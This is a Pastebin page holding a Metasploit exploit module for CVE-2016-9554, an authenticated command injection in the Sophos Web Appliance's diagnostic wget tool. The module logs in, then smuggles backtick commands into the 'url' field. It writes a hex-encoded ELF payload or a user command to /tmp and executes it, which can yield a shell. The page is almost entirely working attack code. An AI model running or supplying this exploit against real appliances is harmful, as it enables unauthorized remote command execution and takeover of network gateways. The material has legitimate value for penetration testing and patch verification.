Advertisement
Guest User

sophos_webapp_va_wget_POST_cmdi.rb

a guest
Feb 22nd, 2017
4,388
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Ruby 5.05 KB | None | 0 0
  1. # Exploit Title: Sophos Web Appliance diagnostic_tools wget Remote Command Injection Vulnerability
  2. # Date: 12/12/2016
  3. # Exploit Author: xort @ Critical Start
  4. # Vendor Homepage: www.sophos.com
  5. # Software Link: sophos.com/en-us/products/secure-web-gateway.aspx
  6. # Version: 4.2.1.3
  7. # Tested on: 4.2.1.3
  8. #            
  9. # CVE : CVE-2016-9554
  10.  
  11. # vuln:  diagnostic_tools command / host parameter /  MgrReport.php exploit
  12.  
  13. # Description PostAuth Sophos Web App FW <= v4.2.1.3 for capabilities. This exploit leverages a command injection bug.
  14. #
  15. # xort @ Critical Start
  16.  
  17. require 'msf/core'
  18.  
  19. class MetasploitModule < Msf::Exploit::Remote
  20.     Rank = ExcellentRanking
  21.     include  Exploit::Remote::Tcp
  22.         include Msf::Exploit::Remote::HttpClient
  23.  
  24.     def initialize(info = {})
  25.         super(update_info(info,
  26.             'Name'           => 'Sophos Web Appliance <= v4.2.1.3 remote exploit',
  27.                     'Description'    => %q{
  28.                     This module exploits a remote command execution vulnerability in
  29.                 the Sophos Web Appliance Version <=  v4.2.1.3. The vulnerability exist in
  30.                 a section of the machine's administrative interface for performing diagnostic
  31.                 network test with wget and sanitized user supplied information.
  32.             },
  33.             'Author'         =>
  34.                 [
  35.                     'xort@Critical Start', # vuln + metasploit module
  36.                 ],
  37.             'Version'        => '$Revision: 1 $',
  38.             'References'     =>
  39.                 [
  40.                     [ 'none', 'none'],
  41.                 ],
  42.             'Platform'      => [ 'linux'],
  43.             'Privileged'     => true,
  44.              'Arch'          => [ ARCH_X86 ],
  45.                        'SessionTypes'  => [ 'shell' ],
  46.                        'Privileged'     => false,
  47.  
  48.                 'Payload'        =>
  49.                                {
  50.                                  'Compat' =>
  51.                                  {
  52.                                        'ConnectionType' => 'find',
  53.                                  }
  54.                                },
  55.  
  56.             'Targets'        =>
  57.                 [
  58.                     ['Linux Universal',
  59.                         {
  60.                                 'Arch' => ARCH_X86,
  61.                                 'Platform' => 'linux'
  62.                         }
  63.                     ],
  64.                 ],
  65.             'DefaultTarget' => 0))
  66.  
  67.             register_options(
  68.                 [
  69.                     OptString.new('PASSWORD', [ false, 'Device password', "" ]),   
  70.                         OptString.new('USERNAME', [ true, 'Device password', "admin" ]),   
  71.                     OptString.new('CMD', [ false, 'Command to execute', "" ]), 
  72.                     Opt::RPORT(443),
  73.                 ], self.class)
  74.     end
  75.  
  76.        def do_login(username, password_clear)
  77.                vprint_status( "Logging into machine with credentials...\n" )
  78.  
  79.                # vars
  80.                timeout = 1550;
  81.                style_key = Rex::Text.rand_text_hex(32)
  82.  
  83.                # send request  
  84.                res = send_request_cgi(
  85.                {
  86.                      'method'  => 'POST',
  87.                      'uri'     => "/index.php",
  88.                      'vars_get' => {
  89.                'c' => 'login',
  90.             },
  91.                      'vars_post' =>
  92.                        {
  93.  
  94.                   'STYLE' => style_key,
  95.               'destination' => '',
  96.               'section' => '',
  97.               'username' => username,
  98.               'password' => password_clear,
  99.                        }
  100.                }, timeout)
  101.  
  102.                return style_key
  103.        end
  104.  
  105.     def run_command(username, style_password, cmd)
  106.  
  107.         vprint_status( "Running Command...\n" )
  108.  
  109.         # send request with payload
  110.         res = send_request_cgi({
  111.             'method' => 'POST',
  112.             'vars_post' => {
  113.                 'action' => 'wget',
  114.                 'section' => 'configuration',
  115.                 'STYLE' => style_password ,
  116.                 'url' => 'htt%3a%2f%2fwww.google.com%2f`'+cmd+'`',
  117.                 },
  118.             'vars_get' => {
  119.                 'c' => 'diagnostic_tools',
  120.             },
  121.         })
  122.  
  123.     end
  124.  
  125.    
  126.     def exploit
  127.         # timeout
  128.         timeout = 1550;
  129.  
  130.         # params
  131.         password_clear = datastore['PASSWORD']
  132.         user = datastore['USERNAME']
  133.  
  134.         # do authentication    
  135.         style_hash = do_login(user, password_clear)
  136.    
  137.         vprint_status("STATUS hash authenticated: #{style_hash}\n")
  138.            
  139.         # pause to let things run smoothly
  140.         sleep(5)
  141.  
  142.          #if no 'CMD' string - add code for root shell
  143.                if not datastore['CMD'].nil? and not datastore['CMD'].empty?
  144.  
  145.                        cmd = datastore['CMD']
  146.  
  147.                        # Encode cmd payload
  148.                        encoded_cmd = cmd.unpack("H*").join().gsub(/(\w)(\w)/,'\\x\1\2')
  149.  
  150.                        # kill stale calls to bdump from previous exploit calls for re-use
  151.                        run_command(user, style_hash, ("sudo%20/bin/rm%20-f%20/tmp/n%20;printf%20\"#{encoded_cmd}\"%20>%20/tmp/n;%20chmod%20+rx%20/tmp/n;/tmp/n" ))
  152.                else
  153.                        # Encode payload to ELF file for deployment
  154.                        elf = Msf::Util::EXE.to_linux_x86_elf(framework, payload.raw)
  155.                        encoded_elf = elf.unpack("H*").join().gsub(/(\w)(\w)/,'\\\\\\x\1\2')
  156.  
  157.             # upload elf to /tmp/m , chmod +rx /tmp/m , then run /tmp/m (payload)
  158.                        run_command(user, style_hash, ("echo%20-e%20#{encoded_elf}\>%20/tmp/m\;chmod%20%2brx%20/tmp/m\;/tmp/m"))
  159.  
  160.             # wait for magic
  161.                        handler
  162.            
  163.                end
  164.  
  165.  
  166.     end
  167. # sophox-release
  168. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement